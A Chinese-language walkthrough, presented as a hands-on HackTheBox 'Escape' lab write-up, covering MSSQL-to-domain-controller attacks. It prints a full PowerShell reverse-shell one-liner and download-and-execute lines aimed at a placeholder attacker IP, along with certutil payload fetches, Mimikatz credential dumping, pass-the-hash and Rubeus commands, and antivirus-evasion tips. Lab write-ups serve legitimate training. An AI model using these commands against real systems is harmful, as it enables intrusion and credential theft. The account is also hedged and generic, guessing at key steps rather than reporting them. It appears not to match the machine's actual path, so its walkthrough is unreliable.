从MSSQL到域控:HTB Escape靶机渗透实战与AD域横向移动详解
1. 项目概述与核心挑战
最近在HackTheBox平台上挑战了一个名为“Escape”的Windows靶机,评级为Medium。这个靶机给我留下了深刻的印象,它不像那些简单的“拿shell、提权”两步走机器,而是构建了一个相当贴近真实企业环境的场景。整个渗透路径涉及了从外部信息收集到内网横向移动,再到权限提升的完整链条,核心围绕Active Directory域环境、MSSQL数据库服务以及WinRM服务的利用展开。如果你对AD域渗透、SQL Server的非常规利用方式以及如何在受限环境下获取立足点感兴趣,那么这个靶机的复盘会非常有价值。它完美地模拟了一个攻击者从外网发现一个脆弱的数据库服务入口,逐步深入,最终控制整个域环境的经典攻击路径。
这个靶机的核心挑战在于,初始入口点并非一个直接的Web应用漏洞,而是一个配置不当的MSSQL服务。你需要利用SQL Server的特性来执行命令、写入文件,并巧妙地结合Windows的认证机制(特别是NTLM哈希传递)进行横向移动。整个过程对工具链的熟悉度、对Windows认证协议的理解,以及临场的问题排查能力都有一定要求。接下来,我会详细拆解整个渗透流程,分享其中关键的思路、踩过的坑以及一些能让你事半功倍的技巧。
2. 初始信息收集与入口点定位
任何渗透测试的第一步都是尽可能全面地收集信息。对于HTB的靶机,我们通常从基础的端口扫描开始。
2.1 全面的端口与服务探测
我习惯使用nmap进行全端口扫描,并结合-sC(默认脚本)和-sV(版本探测)来获取详细信息。对于Escape靶机,典型的扫描命令和结果分析如下:
nmap -sC -sV -p- -T4 10.10.11.202扫描结果通常会揭示几个关键端口:
- 端口 53 (DNS): 这强烈暗示目标是一个域控制器(Domain Controller)或至少是域环境的一部分。DNS服务通常用于域名的解析。
- 端口 88 (Kerberos): 这是Active Directory域环境的核心认证端口,进一步确认了域环境的存在。
- 端口 135 (RPC Endpoint Mapper): Windows RPC服务端口,常用于远程管理和信息枚举。
- 端口 139/445 (SMB): 网络文件共享和RPC over SMB的端口。虽然可能无法匿名访问,但它是内网信息收集和横向移动的重要途径。
- 端口 1433 (MSSQL):这是本靶机最关键的入口点。Microsoft SQL Server默认监听此端口。
- 端口 5985 (WinRM): Windows Remote Management服务端口。如果配置允许且我们有凭据,可以通过它来获取一个交互式shell(例如使用
evil-winrm),这比反向Shell更稳定。 - 端口 9389 (AD WS): Active Directory Web Services端口,用于PowerShell的AD模块远程管理。
从端口扫描结果,我们就能勾勒出一个初步的轮廓:这是一台处于Active Directory域中的服务器,可能承担了多种角色(如域控制器、数据库服务器)。MSSQL服务(1433)成为了我们首要的突破口,因为数据库服务因配置问题导致安全事件在现实中屡见不鲜。
2.2 针对MSSQL服务的深入侦察
发现MSSQL服务后,我们不能盲目攻击。首先需要确认是否可以匿名登录,或者是否存在弱口令。常用的工具是mssqlclient.py(来自Impacket套件)或者sqsh。
# 尝试使用sa空密码连接(一种常见的错误配置) python3 mssqlclient.py -p 1433 sa@10.10.11.202 # 如果提示输入密码,直接回车在Escape靶机上,你会发现使用sa账户和空密码竟然可以成功连接!这是一个极其危险但(在实验环境中)典型的配置失误。sa是SQL Server的系统管理员账户,拥有最高权限。
注意:在真实环境中,
sa账户空密码或弱密码的情况虽然比过去少,但依然存在,尤其是在测试、开发环境或一些管理不善的老系统中。这永远是内网渗透测试中需要重点检查的项目。
成功连接后,我们就在数据库服务器上获得了一个强大的立足点。接下来的目标很明确:利用SQL Server的权限,在主机上执行操作系统命令,从而获取一个反向Shell。
3. 通过MSSQL获取初始立足点
拥有sa权限意味着我们几乎可以在数据库服务器上做任何事情,包括执行操作系统命令。有几种常见的方法:
3.1 启用与利用xp_cmdshell
xp_cmdshell是一个古老的SQL Server扩展存储过程,允许执行操作系统命令。默认情况下它是禁用的,但sa用户可以轻松开启它。
-- 首先检查高级选项是否开启 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- 启用xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 验证是否启用成功,执行一个简单命令 EXEC xp_cmdshell 'whoami';如果whoami命令返回了类似nt service\mssqlserver或当前机器的用户身份,说明我们已经可以在数据库服务器的上下文下执行命令了。接下来就是生成一个反向Shell。
3.2 生成反向Shell的多种方式
在Windows上通过命令行获取反向Shell,PowerShell是最强大的武器。我们可以让SQL Server调用PowerShell来下载并执行我们的Payload。
准备Payload:在攻击机上,使用
msfvenom生成一个PowerShell反向Shell的Payload。msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_TUN_IP LPORT=4444 -f psh -o shell.ps1或者直接使用一行式的PowerShell反向Shell命令(更隐蔽):
$client = New-Object System.Net.Sockets.TCPClient('YOUR_TUN_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()通过SQL执行PowerShell:在
mssqlclient.py会话中,使用xp_cmdshell调用PowerShell下载或直接执行命令。-- 方法A:直接执行一行式命令(需进行适当的编码/转义,处理单引号问题) EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''YOUR_TUN_IP'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'; -- 方法B:先下载再执行(更清晰) -- 在攻击机用Python启动一个HTTP服务:python3 -m http.server 80 EXEC xp_cmdshell 'powershell -c iex (New-Object Net.WebClient).DownloadString(''http://YOUR_TUN_IP/shell.ps1'')';接收Shell:在攻击机上使用
nc监听对应端口。nc -nvlp 4444
如果一切顺利,你将获得一个运行在MSSQL服务账户(通常是NT Service\MSSQLSERVER或类似)权限下的反向Shell。这是我们的第一个立足点。
实操心得:有时
xp_cmdshell的执行会受到环境或策略的限制。备选方案是使用sp_OACreate等存储过程来执行命令,或者利用SQL Server的CLR集成功能(更复杂但更强大)。在Escape靶机上,xp_cmdshell是可行的。
4. 权限提升与哈希转储
我们拿到的初始Shell权限是MSSQL服务账户,这个权限通常不足以直接读取域管理员哈希或完成横向移动。我们需要进行权限提升。
4.1 本地信息收集与枚举
在Shell中,首先进行基础信息收集:
whoami /all # 查看当前用户权限、所属组 systeminfo # 查看系统信息、补丁情况 hostname # 主机名 net user # 查看本地用户 net localgroup administrators # 查看本地管理员组 net share # 查看共享关键是要查看当前用户是否属于某些高权限组,或者是否有特殊的权限分配。在域环境中,特别要关注当前机器是否被域用户登录过。
4.2 利用Juicy Potato或类似工具提权(如果可行)
如果当前服务账户具有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限(这在服务账户中很常见),我们可以利用像Juicy Potato、PrintSpoofer或RoguePotato这样的工具进行本地提权至SYSTEM。
- 检查特权:在Shell中执行
whoami /priv,查看是否包含SeImpersonatePrivilege。 - 上传提权工具:从攻击机将提权可执行文件(如
juicy.exe)上传到靶机。可以使用PowerShell的wget或certutil。certutil -urlcache -f http://YOUR_TUN_IP/juicy.exe C:\Windows\Temp\juicy.exe - 执行提权:运行提权工具,通常会生成一个新的进程(如
cmd.exe)并以SYSTEM权限运行。
然后使用C:\Windows\Temp\juicy.exe -t * -p C:\Windows\System32\cmd.exe -l 1337nc连接本地1337端口,即可获得一个SYSTEM权限的Shell。
在Escape靶机的上下文中,通过本地信息收集,你可能会发现更直接的路径。有时,MSSQL服务账户本身可能因为配置原因,已经可以访问某些敏感文件或注册表键值。
4.3 转储哈希与寻找凭证
获得SYSTEM权限后,我们就可以转储主机上的所有本地账户哈希(SAM)以及内存中缓存的域账户哈希(LSASS)。
使用Mimikatz:这是最著名的工具。上传
mimikatz.exe并执行。# 提升权限(如果尚未是SYSTEM) privilege::debug # 转储LSASS内存中的凭证 sekurlsa::logonpasswords这条命令会输出当前系统内存中所有登录会话的凭证信息,包括NTLM哈希和明文密码(如果系统启用了WDigest或Credential Guard未完全启用)。这是获取域用户凭证的黄金方法。
使用SAM和SYSTEM注册表单元:另一种方法是转储SAM数据库。
reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save然后将这两个文件下载到攻击机,使用
secretsdump.py(Impacket)离线提取哈希。python3 secretsdump.py -sam sam.save -system system.save LOCAL
在Escape靶机上,通过sekurlsa::logonpasswords,你很可能会提取到多个域用户的NTLM哈希,其中包含一个具有较高权限的账户(例如sql_svc或类似的服务账户)。这个哈希就是我们进行横向移动的“门票”。
注意事项:现代Windows系统(如Windows 10/Server 2016+)默认启用了LSA保护,并可能部署了Credential Guard,这会阻止Mimikatz直接从LSASS读取内存。此时需要尝试其他方法,如使用
nanodump生成LSASS转储文件后离线分析,或利用Rubeus等工具攻击Kerberos协议。在HTB的Medium难度靶机中,通常这些强防护是关闭的。
5. 横向移动与WinRM利用
拿到域用户的NTLM哈希后,我们的视野就从单台主机扩展到了整个域网络。横向移动的目标是访问域内其他主机,特别是域控制器。
5.1 使用Pass-the-Hash (PtH) 攻击
NTLM哈希可以直接用于认证,无需破解成明文密码。这就是“哈希传递”攻击。
发现目标:在当前的Shell中,我们可以枚举域内其他主机。
net view /domain # 查看域 net view /domain:DOMAIN_NAME # 查看域内机器列表 # 或者使用PowerShell Get-ADComputer -Filter * | Select-Object Name我们需要寻找其他开启了SMB(445)或WinRM(5985)端口的机器。通常,域控制器(DC)是首要目标。
使用WinRM进行哈希传递:如果我们发现目标主机(比如域控制器
DC.ESCAPE.HTB)开启了WinRM端口(5985),并且我们拥有的域用户哈希有权限通过WinRM登录,那么evil-winrm工具将是绝佳选择。evil-winrm -i DC.ESCAPE.HTB -u sql_svc -H <NTLM_Hash_of_sql_svc>这里
-H参数直接使用我们之前获取的NTLM哈希。如果成功,我们将直接获得一个在目标主机(域控制器)上的PowerShell会话,权限是sql_svc这个域用户。
5.2 利用SMB进行哈希传递与信息收集
如果WinRM不通,或者想先通过SMB收集更多信息,可以使用smbclient.py或psexec.py(均来自Impacket)进行哈希传递。
# 使用smbclient列出共享 python3 smbclient.py -hashes :<NTLM_Hash> DOMAIN/sql_svc@DC.ESCAPE.HTB # 使用psexec获取一个半交互式shell(会创建服务,动静较大) python3 psexec.py -hashes :<NTLM_Hash> DOMAIN/sql_svc@DC.ESCAPE.HTB通过SMB连接,我们可以浏览网络共享,寻找配置文件、脚本、数据库备份文件等,里面可能包含更多凭证或敏感信息。
5.3 在域控制器上寻找最终目标
一旦通过WinRM或SMB登录到域控制器,我们就站在了整个域的“制高点”。目标是获取域管理员(Domain Admin)的权限。方法有很多:
- 再次转储哈希:在域控制器上,以
sql_svc权限再次运行Mimikatz的sekurlsa::logonpasswords。因为域控制器上会有域管理员登录的缓存,运气好的话可以直接抓到域管理员的哈希。 - 查找域管理员进程:查看是否有域管理员运行的进程。
如果可以注入到这些高权限进程中,就能窃取令牌(Token Impersonation)。tasklist /v | findstr /i "admin" # 或使用PowerShell Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*Administrator*"} - 搜索敏感文件:在整个域控制器的文件系统中搜索包含“password”、“cred”、“config”等关键词的文件,或者查看用户的桌面、文档目录。
findstr /s /i "password" *.xml *.ini *.txt *.config 2>nul - 检查AD备份或数据库:如果这台服务器同时运行了其他服务(比如从靶机名称“Escape”和MSSQL入口推测,可能运行着某个应用程序),那么应用程序的配置文件或数据库里很可能存储着高权限的数据库连接字符串。
在Escape靶机的场景中,路径往往是:利用sql_svc的哈希登录到域控制器 -> 在域控制器上发现某个应用程序或服务使用了高权限账户 -> 从配置文件或数据中提取该账户的凭证 -> 最终获得域管理员权限。
6. 常见问题与排查技巧实录
在实际操作中,很少有一帆风顺的。下面记录了几个在Escape这类靶机中可能遇到的典型问题及解决方法。
6.1 MSSQL连接与命令执行问题
- 问题:使用
mssqlclient.py连接时失败,提示协议错误或登录失败。- 排查:确认SQL Server是否允许远程连接(默认可能禁用)。确认防火墙规则。尝试使用Windows身份验证模式(
-windows-auth)连接,如果域账户有权限的话。在HTB中,通常给出的连接信息是准确的。
- 排查:确认SQL Server是否允许远程连接(默认可能禁用)。确认防火墙规则。尝试使用Windows身份验证模式(
- 问题:
xp_cmdshell执行命令返回NULL或没有输出。- 排查:首先确认
xp_cmdshell是否真的启用成功(EXEC sp_configure 'xp_cmdshell')。其次,可能是执行上下文权限不足,或者防病毒软件拦截了进程创建。尝试执行一个简单的dir命令测试。也可以尝试使用PowerShell的Start-Process来启动更复杂的命令。
- 排查:首先确认
6.2 反向Shell无法连接
- 问题:在SQL中执行了反向Shell命令,但攻击机的
nc没有收到连接。- 排查:
- 网络可达:确保靶机到攻击机IP的路径是通的(在HTB中通常没问题)。检查攻击机防火墙是否放行了监听端口。
- 命令转义:通过
xp_cmdshell执行复杂的PowerShell命令时,单引号、双引号的转义非常容易出错。强烈建议先将PowerShell脚本托管在HTTP服务器上,然后使用DownloadString方式执行,这样可以避免复杂的转义。 - 杀软:靶机可能安装了端点防护软件,拦截了常见的反向Shell连接。尝试使用编码、混淆或更冷门的Payload生成方式(例如使用
Cobalt Strike或MSF的encoders)。在HTB中,Medium难度通常不设强杀软,但这是一个好习惯。
- 排查:
6.3 哈希传递(PtH)失败
- 问题:使用
evil-winrm或psexec.py进行哈希传递时,认证失败。- 排查:
- 权限不足:你拥有的用户哈希可能没有远程登录目标主机的权限。检查该用户是否在目标主机的
Remote Desktop Users或Administrators组中(对于WinRM/SMB)。使用net user <username> /domain查看用户所属组。 - 协议限制:目标主机可能限制了NTLM认证,强制要求使用Kerberos。此时需要尝试Overpass-the-Hash,即用NTLM哈希申请一个Kerberos票据(TGT),然后再使用票据进行认证。可以使用
Rubeus工具。# 在已获得Shell的机器上(需有Rubeus) Rubeus.exe asktgt /user:sql_svc /domain:escape.htb /rc4:<NTLM_Hash> /ptt # /ptt 会将票据注入当前会话,然后就可以用原生工具(如powershell remoting)访问了 - 防火墙/主机限制:确认目标端口(5985, 445)确实开放且可达。在域内主机上,可以用
Test-NetConnection命令测试。
- 权限不足:你拥有的用户哈希可能没有远程登录目标主机的权限。检查该用户是否在目标主机的
- 排查:
6.4 Mimikatz运行失败
- 问题:Mimikatz无法运行,或被防病毒软件瞬间删除。
- 排查:
- 禁用防病毒:如果可能,先尝试暂停或禁用防病毒软件。在HTB靶机中通常不需要。
- 使用免杀版本或内存加载:将Mimikatz的二进制文件进行混淆,或使用
Invoke-Mimikatz(PowerShell脚本版本),它可以直接在内存中加载Mimikatz的功能,不接触磁盘。iex (New-Object Net.WebClient).DownloadString('http://YOUR_TUN_IP/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' - 权限问题:确保运行Mimikatz的Shell是以管理员身份运行的,否则
privilege::debug会失败。
- 排查:
7. 工具链与命令速查表
为了方便回顾和实战参考,我将整个过程中用到的核心工具和命令整理如下:
| 阶段 | 工具/命令 | 用途 | 关键参数/示例 |
|---|---|---|---|
| 信息收集 | nmap | 端口扫描与服务识别 | nmap -sC -sV -p- -T4 <target_ip> |
| MSSQL连接 | mssqlclient.py(Impacket) | 连接MSSQL数据库 | python3 mssqlclient.py -p 1433 sa@<target_ip> |
| 命令执行 | xp_cmdshell(SQL) | 在SQL Server上下文执行OS命令 | EXEC xp_cmdshell 'whoami'; |
| Payload生成 | msfvenom | 生成反向Shell Payload | msfvenom -p windows/x64/shell_reverse_tcp LHOST=... LPORT=... -f psh |
| Shell监听 | netcat (nc) | 监听反向Shell连接 | nc -nvlp 4444 |
| 权限提升 | JuicyPotato/PrintSpoofer | 利用特权提升至SYSTEM | juicy.exe -t * -p cmd.exe -l 1337 |
| 凭证转储 | Mimikatz | 从内存转储哈希与密码 | privilege::debugsekurlsa::logonpasswords |
secretsdump.py(Impacket) | 离线转储SAM/LSA Secrets | python3 secretsdump.py -sam sam.save -system system.save LOCAL | |
| 横向移动 | evil-winrm | 使用哈希/密码通过WinRM连接 | evil-winrm -i <dc_ip> -u <user> -H <hash> |
psexec.py(Impacket) | 使用哈希/密码获取SMB shell | python3 psexec.py -hashes :<hash> <domain/user>@<target_ip> | |
smbclient.py(Impacket) | 使用哈希/密码访问SMB共享 | python3 smbclient.py -hashes :<hash> <domain/user>@<target_ip> | |
| Kerberos攻击 | Rubeus | 进行Kerberos相关的攻击(如Overpass-the-Hash) | Rubeus.exe asktgt /user:... /domain:... /rc4:... /ptt |
| 信息枚举 | net命令 | Windows内置网络与用户枚举 | net user /domain,net view /domain |
PowerShell AD模块 | 更强大的AD信息查询 | Get-ADUser -Filter *,Get-ADComputer -Filter * |
整个“Escape”靶机的渗透过程,是一次标准的从外部服务突破到内网域控的演练。它强调了几个关键点:弱口令或默认配置是常见的突破口、服务账户权限是横向移动的跳板、哈希的价值等同于密码、WinRM是内网中非常高效的远程管理(攻击)通道。理解并熟练运用这些技术和工具,对于应对真实的内部网络渗透测试至关重要。每个环节的变通和问题排查能力,往往比记住工具命令本身更重要。